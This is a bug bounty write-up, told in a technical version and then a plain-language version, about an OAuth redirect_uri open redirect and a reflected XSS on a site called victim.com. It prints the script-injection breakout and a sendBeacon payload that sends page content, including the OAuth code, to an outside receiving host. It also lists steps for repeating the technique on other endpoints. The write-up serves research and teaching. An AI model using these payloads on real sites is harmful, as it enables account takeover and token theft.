Never Give Up, The Story Behind a Dupe-To-Triaged
The OAuth authorisation endpoint reflected the redirect_uri parameter without proper validation, allowing an attacker to redirect the authorisation code to their own server. Later, the same parameter was found to be vulnerable to reflected XSS, enabling theft of the OAuth token via a script that sent the page content to an attacker-controlled endpoint.
Published on medium.com
This is the story about how I got a dupe (within 24hs!) and then found another (valid) vulnerability with the same impact.
The full write-up lives on its author's site
It belongs to its author, so we link to it rather than copy it. The other two tabs are our own rewrites, checked against it.
Context
This is the story of a bug bounty submission that came back as a duplicate within 24 hours, and of the second attempt against the same endpoint that was triaged and paid. The target is referred to only as victim.com; the report does not name the program or the product. The feature involved is the application's authentication flow, which uses OAuth. The authorisation endpoint took the following shape:
https://victim.com/auth?client_id=&nonce=[REDACTED]&redirect_uri=https://www.victim.com/dashboard&request=[TOKEN_REDACTED]&response_type=code&scope=openid+accounts&state=[REDACTED]
The parameters visible in that URL are client_id, nonce, redirect_uri, request, response_type, scope and state. The redirect_uri normally points at https://www.victim.com/dashboard, and the flow returns an OAuth authorisation code to that address.
Setup
No accounts, roles, tool versions or special preconditions are described. The work was done against the live authorisation endpoint with a browser and a server controlled by the researcher, plus ssrftest.com as a receiving endpoint for the final payload. The report notes that ssrftest.com is a site that lets you test, for example, SSRF vulnerabilities.
Finding it
Looking at the authorisation URL, the researcher changed the redirect_uri parameter to point at a server they controlled. The application redirected the browser there. That is a reflected open redirection on victim.com, and the reasoning was that an open redirect in an OAuth flow can be turned into an account takeover, because the authorisation code travels in the request to the redirect target.
Exploitation
Step 1: open redirect in redirect_uri
The proof of concept was simply to make redirect_uri point at the researcher's server, nothing more. Because the OAuth code is sent within that request as well, the redirect alone hands the code to the attacker's host. The report was submitted, and after 3 days it came back as a duplicate.


The screenshot shows the submission on the left and the duplicate on the right. The author is candid about it being a very low hanging fruit, and the point of the story is to keep trying.

Step 2: XSS in the same endpoint
Rather than repeat the redirect trick, the researcher looked for a different technique with the same impact. The idea: if the endpoint is vulnerable to XSS, the script can read the OAuth token, and that is the account takeover. The first proof of concept injected a script tag through redirect_uri:
The value of redirect_uri is the legitimate dashboard URL followed by %22%3e%3cscript%3ealert%28document.domain%29%3c%2fscript%3e, which decodes to "><script>alert(document.domain)</script>. The closing quote and angle bracket break out of the attribute or context the value is placed in, and the script runs. It worked.

Step 3: from popup to account takeover
An alert box is not an account takeover. What closes the gap is a payload that exfiltrates the code. The final payload, credited to @mastersec, is:
navigator.sendBeacon('https://ssrftest.com/x/AAAAA',document.documentElement.innerHTML.split('code'));
It sends the page's HTML, split on the string code, to the ssrftest.com endpoint with navigator.sendBeacon. The final URL was:
Here redirect_uri starts with aaa and then breaks out with "><script> to run the beacon payload. The result was the authentication token arriving at the server the researcher controls.

This second submission was triaged after 2 days and paid.
Root cause
The authorisation endpoint reflects the redirect_uri value into the response without adequate encoding, so the value can both redirect the browser elsewhere and break out of its context to execute script. The report does not describe the server-side code, so the exact reflection context is not stated; the payloads show that a double quote and a closing angle bracket were enough to escape it. The open redirect and the XSS share the same input, and in both cases the OAuth code is exposed: in the first because it is sent to the redirect target, in the second because script running on the authorisation page can read it.
Impact
An attacker who can get a victim to open a crafted authorisation URL can obtain the victim's OAuth authorisation code, and with it take over the account. The first variant sends the code to the redirect target; the second runs script in the context of victim.com and exfiltrates the code to an attacker-controlled host.
Fix
The measures that address what is shown here are strict validation of redirect_uri against a registered allowlist of exact values, and context-aware output encoding of the value wherever it is reflected, so that quotes and angle brackets cannot break out. Neither is described as having been applied.
Variants to test
- Change
redirect_urito an attacker host on any OAuth authorisation endpoint and watch whether the browser follows it with the code in the request. A positive result is a redirect to your server carryingcode. - Append
"><script>alert(document.domain)</script>(URL-encoded as in the report) to a legitimateredirect_urivalue. A positive result is script execution on the authorisation origin. - Replace the alert with a beacon that sends
document.documentElement.innerHTML(or the location) to a host you control, as in the final payload. A positive result is the authorisation code arriving at your endpoint. - Try the same reflection with other breakout characters and contexts if the double quote and angle bracket are filtered. A positive result is any input that escapes the attribute or element and executes.
Keep trying: the first finding may be a duplicate, and the second technique against the same parameter may not be.
What happened, in plain words
A security researcher was testing a website's login system. The website used a common mechanism called OAuth, which lets you log in to one site using an account you already have somewhere else (the way many sites let you "Sign in with Google", for example). The researcher found a flaw in the part of the login flow that decides where to send you after you log in. They reported it, and within 24 hours the report came back as a duplicate: someone else had already reported the same bug, so no reward was paid.
Instead of giving up, the researcher looked at the same login address again and found a different way to abuse it, one that let them steal the login token and take over an account. That second report was accepted ("triaged") after 2 days and paid a bounty. The lesson the author wants to pass on is simple: keep trying.

This article walks through both attempts in the order they happened, explains every term from scratch, and shows the exact URLs and code that were used.
The login flow, explained from zero
Before the details, a few ideas you need.
- OAuth is a way for one website to ask another website to confirm who you are, without sharing your password. Think of a cloakroom ticket: you hand in your coat, you get a ticket, and the ticket proves you can collect the coat. The ticket is not your coat, and it is not your identity; it just proves a claim.
- An authorisation endpoint is a specific web address on the login server that starts this process. You send it some information, and it decides what to do next.
- A parameter is a named value in a web address, the part after a
?and joined with&. In?colour=blue&size=large,colourandsizeare parameters. They are like the fields on a paper form: each has a label and a value. - A redirect is when a website tells your browser "go to this other address instead". It is like a receptionist pointing you to the right office. A redirect_uri parameter is the address the login server is told to send you to once login finishes.
- An OAuth code (also called an authorisation code) is a short-lived string the login server hands back to prove the login succeeded. It is like the cloakroom ticket: whoever holds it can collect the account. If an attacker gets it, they can log in as you.
- A token is a longer string that acts as proof of identity for later requests, similar to a wristband at an event.
- XSS (Cross-Site Scripting) means getting a website to run JavaScript that the attacker wrote, as if it were part of the site. JavaScript is the programming language browsers run to make pages interactive. If an attacker can make the site run their script, the script runs with the site's trust and can read things the page can see.
- Account takeover (ATO) means an attacker gains control of someone else's account, usually by obtaining their credentials or a token that stands in for them.
- Open redirect means a site will redirect you to any address you name, including one the attacker controls. On its own it is often low impact, but in a login flow it can leak the code.
- Duplicate means your bug report describes a bug that has already been reported. Triaged means the security team has reviewed your report and accepted it as valid.
The address that started it all
The application used OAuth to log users in. The authorisation endpoint looked like this:
https://victim.com/auth?client_id=&nonce=[REDACTED]&redirect_uri=https://www.victim.com/dashboard&request=[TOKEN_REDACTED]&response_type=code&scope=openid+accounts&state=[REDACTED]
Line by line, in plain words:
https://victim.com/authis the address of the login endpoint.victim.comis a stand-in name for the real site; the report does not name the program or the product.client_id=is empty in the shown URL.nonce=[REDACTED]is a parameter whose value is redacted here. The actual value is redacted.redirect_uri=https://www.victim.com/dashboardis where the browser should be sent after login. Normally that is the site's own dashboard page.request=[TOKEN_REDACTED]is a parameter whose value is redacted here.response_type=codeis a parameter in the URL.scope=openid+accountsis a parameter in the URL.state=[REDACTED]is a parameter whose value is redacted here.
The important part for the story is redirect_uri: it decides where the code gets delivered.
First attempt: the open redirect
The researcher looked at the address and changed redirect_uri so that it pointed at a server they controlled instead of the dashboard. The application then sent the browser to that server. That is a reflected open redirection on victim.com.
Why does that matter? Because the OAuth code travels in the request to the redirect target. If the target is the attacker's server, the attacker receives the code. The reasoning was that an open redirect in an OAuth flow can be turned into an account takeover.
The proof of concept was simply to make redirect_uri point at the researcher's server, nothing more. Because the OAuth code is sent within that request as well, the redirect alone hands the code to the attacker's host. The report was submitted, and after 3 days it came back as a duplicate.


The screenshot shows the submission on the left and the duplicate on the right. The author is candid about it being a very low hanging fruit, and the point of the story is to keep trying.

Second attempt: XSS in the same endpoint
Rather than repeat the redirect trick, the researcher looked for a different technique with the same impact. The idea: if the endpoint is vulnerable to XSS, the script can read the OAuth token, and that is the account takeover.
Why would that work? Because the script runs inside the login page itself, in the site's own context. Anything the page can see, the script can see, including the code that arrives in the address.
The first proof of concept injected a script tag through redirect_uri:
Line by line:
- The start of the URL is the same as before: the login endpoint with its parameters.
- The value of
redirect_uriis the legitimate dashboard URL followed by%22%3e%3cscript%3ealert%28document.domain%29%3c%2fscript%3e. - Those percent signs are URL encoding.
%22is a double quote",%3eis>,%3cis<,%28is(,%29is),%2fis/. Decoded, the whole suffix is"><script>alert(document.domain)</script>. - The closing quote and angle bracket break out of the attribute or context the value is placed in, and the script runs. In everyday terms, imagine a form that prints your answer inside quotation marks on a noticeboard.
alert(document.domain)is a harmless test: it pops up a box showing the site's domain name. If you see that box, your script ran on the site.
It worked.

From popup to account takeover
An alert box is not an account takeover. It proves script execution, nothing more. What closes the gap is a payload that exfiltrates the code, meaning it sends the code out to a server the attacker controls.
The final payload, credited to @mastersec, is:
navigator.sendBeacon('https://ssrftest.com/x/AAAAA',document.documentElement.innerHTML.split('code'));
Line by line:
navigator.sendBeacon(...)is a browser function that sends data to a server in the background, without needing a page reload. Think of it as quietly posting a letter while you carry on with your day.'https://ssrftest.com/x/AAAAA'is the destination.ssrftest.comis a site that lets you test, for example, SSRF vulnerabilities, and it acts as a receiving endpoint here.document.documentElement.innerHTMLis the entire HTML of the current page, as text. The script is reading the page it is running on..split('code')cuts that text into pieces wherever the wordcodeappears. The result is a list of chunks cut at each occurrence ofcode.- So the whole line sends the page's HTML, split on the string
code, to thessrftest.comendpoint withnavigator.sendBeacon.
The final URL was:
Line by line:
- The URL is the same login endpoint with the same parameters.
- Here
redirect_uristarts withaaaand then breaks out with"><script>to run the beacon payload. - The script tag contains the beacon line above, so when the page renders the value, the browser runs the beacon and sends the page content to the receiving endpoint.
- The rest of the URL,
&request=[TOKEN_REDACTED]&response_type=code&scope=openid+accounts&state=[REDACTED], is unchanged.
The result was the authentication token arriving at the server the researcher controls.

This second submission was triaged after 2 days and paid.
Why the bug exists
The authorisation endpoint reflects the redirect_uri value into the response without adequate encoding. "Reflects" means it takes what you typed and prints it back into the page. "Without adequate encoding" means it does not neutralise characters that have special meaning in HTML, such as quotes and angle brackets.
Because of that, the same input can do two things. It can redirect the browser elsewhere, and it can break out of its context to execute script. The report does not describe the server-side code, so the exact reflection context is not stated; the payloads show that a double quote and a closing angle bracket were enough to escape it.
The open redirect and the XSS share the same input, and in both cases the OAuth code is exposed: in the first because it is sent to the redirect target, in the second because script running on the authorisation page can read it.
What an attacker could do
An attacker who can get a victim to open a crafted authorisation URL can obtain the victim's OAuth authorisation code, and with it take over the account. The first variant sends the code to the redirect target; the second runs script in the context of victim.com and exfiltrates the code to an attacker-controlled host.
How to fix it
The measures that address what is shown here are strict validation of redirect_uri against a registered allowlist of exact values, and context-aware output encoding of the value wherever it is reflected, so that quotes and angle brackets cannot break out. Neither is described as having been applied.
In plain terms: an allowlist means the server only accepts redirect addresses it already knows and has approved, like a guest list at a door. Context-aware encoding means the server converts dangerous characters into harmless ones before printing them, like writing a quote mark as a symbol instead of a real quote so it cannot end the sentence early.
Things to try on your own
- Change
redirect_urito an attacker host on any OAuth authorisation endpoint and watch whether the browser follows it with the code in the request. A positive result is a redirect to your server carryingcode. - Append
"><script>alert(document.domain)</script>(URL-encoded as in the report) to a legitimateredirect_urivalue. A positive result is script execution on the authorisation origin. - Replace the alert with a beacon that sends
document.documentElement.innerHTML(or the location) to a host you control, as in the final payload. A positive result is the authorisation code arriving at your endpoint. - Try the same reflection with other breakout characters and contexts if the double quote and angle bracket are filtered. A positive result is any input that escapes the attribute or element and executes.
Keep trying: the first finding may be a duplicate, and the second technique against the same parameter may not be.
Glossary
- Account takeover (ATO): an attacker gaining control of someone else's account, usually by obtaining their credentials or a token that stands in for them.
- Allowlist: a list of values a system will accept, and nothing else. Like a guest list at a door.
- Authorisation code: a short-lived string the login server hands back to prove a login succeeded. Whoever holds it can collect the account.
- Authorisation endpoint: the web address on a login server that starts the OAuth process.
- Beacon (navigator.sendBeacon): a browser function that sends data to a server in the background without reloading the page.
- client_id: a parameter that identifies which application is asking for the login.
- Context-aware output encoding: converting characters that have special meaning in HTML into harmless forms before printing them, so they cannot break out of their context.
- Duplicate: a bug report describing a bug that has already been reported.
- Exfiltrate: to send data out to a server the attacker controls.
- HTML: the language that describes the structure of a web page.
- JavaScript: the programming language browsers run to make pages interactive.
- nonce: a one-time random value used to make each request unique.
- OAuth: a way for one website to ask another website to confirm who you are, without sharing your password. Like a cloakroom ticket.
- Open redirect: a site redirecting you to any address you name, including one the attacker controls.
- Parameter: a named value in a web address, after a
?and joined with&. Like a field on a form. - Redirect: a website telling your browser to go to another address instead.
- redirect_uri: the parameter that says where the login server should send you after login.
- Reflected: input that the server prints back into the page.
- response_type: a parameter that tells the server what kind of result to return, here
code. - scope: a parameter saying what the login is allowed to access.
- SSRF: a vulnerability where an attacker makes a server send requests to addresses the attacker chooses.
ssrftest.comis a site for testing such issues. - state: a value carried through the OAuth flow, often used to tie a response to a request.
- Token: a string that acts as proof of identity for later requests, like a wristband at an event.
- Triaged: a security team has reviewed a report and accepted it as valid.
- URL encoding: writing special characters as percent codes, such as
%22for a double quote. - XSS (Cross-Site Scripting): getting a website to run JavaScript that the attacker wrote, as if it were part of the site.